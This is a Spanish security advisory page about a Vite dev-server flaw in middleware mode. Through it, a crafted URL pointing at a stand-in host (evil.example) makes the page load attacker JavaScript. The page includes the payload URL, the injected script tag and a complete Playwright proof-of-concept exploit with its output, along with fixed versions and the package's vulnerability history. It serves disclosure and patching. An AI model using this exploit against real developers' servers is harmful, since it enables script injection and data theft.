Baja

Vite: Ejecución de scripts entre orígenes mediante middleware personalizado de Vite

  • Publicada: 21.10.2026
  • Actualizado: 21.10.2026 19:20

Resumen

Al acceder a un sitio malicioso mientras se ejecuta un servidor de desarrollo con Vite, dicho sitio podía cargar scripts en una página servida por el servidor de desarrollo.

Impacto

Solo se ven afectadas las aplicaciones que cumplen con las siguientes condiciones:

  • El servidor de desarrollo pasa una URL de solicitud de navegador sin modificar a server.transformIndexHtml: esto se utiliza normalmente para server.middlewareMode: true o appType: 'custom'. La llamada interna para appType: 'spa' y appType: 'mpa' no coincide con esto.
  • El HTML transformado contiene un script de módulo inline.
  • Desde el script en la página servida por el servidor de desarrollo, la aplicación almacena valores confidenciales en una ubicación accesible o permite acciones críticas.

Detalles

La guía de SSR de Vite para 8.2.1) documenta la configuración afectada. La aplicación integra Vite en modo middleware, lee HTML de confianza y pasa la URL de solicitud sin modificar del navegador a la transformación:

js
const url = req.originalUrl
template = await vite.transformIndexHtml(url, template)

Para un servidor de desarrollo en http://localhost:5173, un atacante puede enviar esta URL:

http://localhost:5173//evil.example/payload.js?/../../package.json

En Vite 8.2.1, createDevHtmlTransformFn y getHtmlFilename en indexHtml.ts) utilizan la URL de la solicitud tanto como path de transformación como entrada para path.join. El valor pasado a path.join todavía incluye su texto de consulta.

Chromium preserva /../../package.json porque sigue a ? y, por lo tanto, es texto de consulta. Vite interpreta los mismos caracteres como componentes de ruta del sistema de archivos, por lo que los componentes .. resuelven el nombre de archivo derivado al proyecto existente package.json.

La rama de archivo existente en indexHtml.ts) comprueba ese nombre de archivo con fs.existsSync, y luego conserva el htmlPath suministrado por el atacante como proxyModuleUrl. La reescritura de módulos inline en el mismo archivo) escribe ese valor en el src generado:

html
<script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script>

El valor generado es una URL válida. Su prefijo // indica al navegador que solicite el módulo desde evil.example utilizando el esquema de la página de Vite. El atacante devuelve JavaScript para esa solicitud y Chromium lo ejecuta en la página de Vite.

PoC

js
import { createServer as createHttpServer } from 'node:http'
import { createRequire } from 'node:module'
import { dirname, join } from 'node:path'
import { fileURLToPath, pathToFileURL } from 'node:url'

const directory = dirname(fileURLToPath(import.meta.url))
const require = createRequire(join(directory, 'package.json'))
const { chromium } = require('playwright-chromium')
const viteModule = await import(
  pathToFileURL(require.resolve('vite')).href
)
const createViteServer =
  viteModule.createServer ?? viteModule.default.createServer

// This loopback server stands in for a separately hosted attacker website.
const attackerPort = 4173
const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json`
const html = '<script type="module">document.body.textContent = "Vite app"</script>'

const listen = (server, port = 0) =>
  new Promise((resolve, reject) => {
    server.once('error', reject)
    server.listen(port, '127.0.0.1', () => {
      server.off('error', reject)
      resolve(server.address().port)
    })
  })

const close = (server) =>
  new Promise((resolve, reject) => {
    server.close((error) => (error ? reject(error) : resolve()))
  })

let attackerRequest = null
const attacker = createHttpServer((request, response) => {
  attackerRequest = request.url
  response.writeHead(200, {
    'access-control-allow-origin': '*',
    'content-type': 'text/javascript',
  })
  response.end(
    "document.documentElement.dataset.viteXssPoc = 'executed'",
  )
})

const vite = await createViteServer({
  appType: 'custom',
  configFile: false,
  root: directory,
  server: {
    hmr: false,
    middlewareMode: true,
    watch: null,
  },
})

const application = createHttpServer((request, response) => {
  vite.middlewares(request, response, async (error) => {
    if (error) {
      response.destroy(error)
      return
    }

    try {
      const transformed = await vite.transformIndexHtml(request.url, html)
      response.writeHead(200, { 'content-type': 'text/html' })
      response.end(transformed)
    } catch (transformError) {
      response.destroy(transformError)
    }
  })
})

await listen(attacker, attackerPort)
const applicationPort = await listen(application)
const browser = await chromium.launch({ headless: true })

try {
  const page = await browser.newPage()
  await page.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`)
  await page.waitForFunction(
    () => document.documentElement.dataset.viteXssPoc === 'executed',
  )

  console.log(`attacker request: ${attackerRequest}`)
  console.log('JavaScript from the attacker server executed in the Vite page')
} finally {
  await browser.close()
  await close(application)
  await vite.close()
  await close(attacker)
}

Salida observada en Vite 8.2.1:

attacker request: /payload.js?/../../package.json?html-proxy&index=0.js
JavaScript from the attacker server executed in the Vite page

Qué hacer

Actualice Vite a la versión 6.4.4, 7.3.7, 8.1.6, 8.2.4, 8.3.3 o superior, y vite-plus a la versión 1.1.0 o superior.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm vite >= 8.3.0, < 8.3.3, >= 8.2.0, < 8.2.4, >= 8.0.0, < 8.1.6, >= 7.0.0, < 7.3.7, < 6.4.4 8.3.3, 8.2.4, 8.1.6, 7.3.7, 6.4.4
Paquete de npm vite-plus < 1.1.0 1.1.0

Referencias

Puntuación CVSS -
Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Debilidad (CWE)
CWE-80
Plataforma
npm
Paquete
vite, vite-plus
Publicada
21.10.2026
Actualizado
21.10.2026 19:20

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-9jrq-w75r-8gcw - CC BY 4.0

Historial de vulnerabilidades: vite

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (27) en el archivo
Entradas en total
27
Primera → última
08.2022 10.2026
Sin corrección
0
Explotada en ataques
1

Distribución por gravedad

  • Alta 8
  • Media 16
  • Baja 3

Divulgaciones por año

  1. 2022: 1
  2. 2023: 2
  3. 2024: 4
  4. 2025: 9
  5. 2026: 11
Gravedad:
  1. Vite: Ejecución de scripts entre orígenes mediante middleware personalizado de Vite esta entrada
    Baja CVE-2026-112945 >= 8.3.0, < 8.3.3, >= 8.2.0, < 8.2.4, >= 8.0.0, < 8.1.6, >= 7.0.0, < 7.3.7, < 6.4.4 8.3.3, 8.2.4, 8.1.6, 7.3.7, 6.4.4
  2. Alta CVE-2026-112942 >= 8.3.0, < 8.3.3, >= 8.2.0, < 8.2.4, >= 8.0.0, < 8.1.6, >= 7.0.0, < 7.3.7, < 6.4.4 8.3.3, 8.2.4, 8.1.6, 7.3.7, 6.4.4
  3. Alta · 7.5 CVE-2026-53571 >= 8.0.0, < 8.0.16, >= 7.0.0, < 7.3.5, < 6.4.3 8.0.16, 7.3.5, 6.4.3
  4. Alta CVE-2026-39364 >= 8.0.0, < 8.0.5, >= 7.1.0, < 7.3.2 8.0.5, 7.3.2
  5. Alta CVE-2026-39363 >= 8.0.0, < 8.0.5, >= 7.0.0, < 7.3.2, >= 6.0.0, < 6.4.2 8.0.5, 7.3.2, 6.4.2
  6. Alta · 7.5 CVE-2024-23331 >= 2.7.0, < 2.9.17, >= 3.0.0, < 3.2.8, >= 4.0.0, < 4.5.2, >= 5.0.0, < 5.0.12 2.9.17, 3.2.8, 4.5.2, 5.0.12
  7. Alta · 7.5 CVE-2023-34092 < 2.9.16, >= 3.0.2, < 3.2.7, >= 4.0.0, < 4.0.5, >= 4.1.0, < 4.1.5, >= 4.2.0, < 4.2.3, >= 4.3.0, < 4.3.9 2.9.16, 3.2.7, 4.0.5, 4.1.5, 4.2.3, 4.3.9
  8. Alta · 8.6 CVE-2022-35204 < 2.9.13, >= 3.0.0-alpha.0, < 3.0.0-beta.4 2.9.13, 3.0.0-beta.4

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.